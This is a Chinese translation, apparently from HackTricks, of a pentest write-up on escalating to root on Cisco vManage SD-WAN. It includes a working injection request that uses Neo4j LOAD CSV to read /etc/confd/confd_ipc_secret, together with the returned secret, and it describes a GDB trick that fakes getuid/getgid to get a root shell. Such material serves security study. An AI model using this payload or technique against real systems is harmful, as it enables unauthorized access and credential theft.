Cisco - vmanage

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

路径 1

(示例来自https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

在查阅一些与confd和不同二进制文件相关的文档后(可通过Cisco网站上的帐户访问),我们发现为了对IPC套接字进行身份验证,它使用位于/etc/confd/confd_ipc_secret中的一个密钥:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

记得我们的Neo4j实例吗?它是在vmanage用户的权限下运行的,因此允许我们使用先前的漏洞检索文件:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

confd_cli程序不支持命令行参数,但会调用/usr/bin/confd_cli_user并传递参数。因此,我们可以直接调用/usr/bin/confd_cli_user并附上我们自己的参数。然而,由于我们当前的权限无法读取,所以我们需要从rootfs中检索它并使用scp进行复制,读取帮助信息,然后使用它获取shell:

路径 2

(示例来自 https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

synacktiv 团队的博客¹ 描述了一种优雅的方式来获取 root shell,但需要注意的是,这需要获取 /usr/bin/confd_cli_user 的副本,而该文件只能被 root 读取。我找到了另一种无需这么麻烦就能升级到 root 的方法。

当我反汇编 /usr/bin/confd_cli 二进制文件时,我观察到以下内容:

当我运行“ps aux”时,我观察到以下内容(注意 -g 100 -u 107

我假设“confd_cli”程序将从已登录用户收集的用户ID和组ID传递给“cmdptywrapper”应用程序。

我的第一次尝试是直接运行“cmdptywrapper”,并提供-g 0 -u 0参数,但失败了。似乎在某个地方创建了一个文件描述符(-i 1015),我无法伪造它。

如synacktiv的博客中所述(最后一个示例),confd_cli程序不支持命令行参数,但我可以通过调试器影响它,幸运的是系统中包含了GDB。

我创建了一个GDB脚本,在其中强制API getuidgetgid 返回0。由于我已经通过反序列化RCE获得了“vmanage”权限,我有权限直接读取/etc/confd/confd_ipc_secret

root.gdb:

控制台输出:

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

最后更新于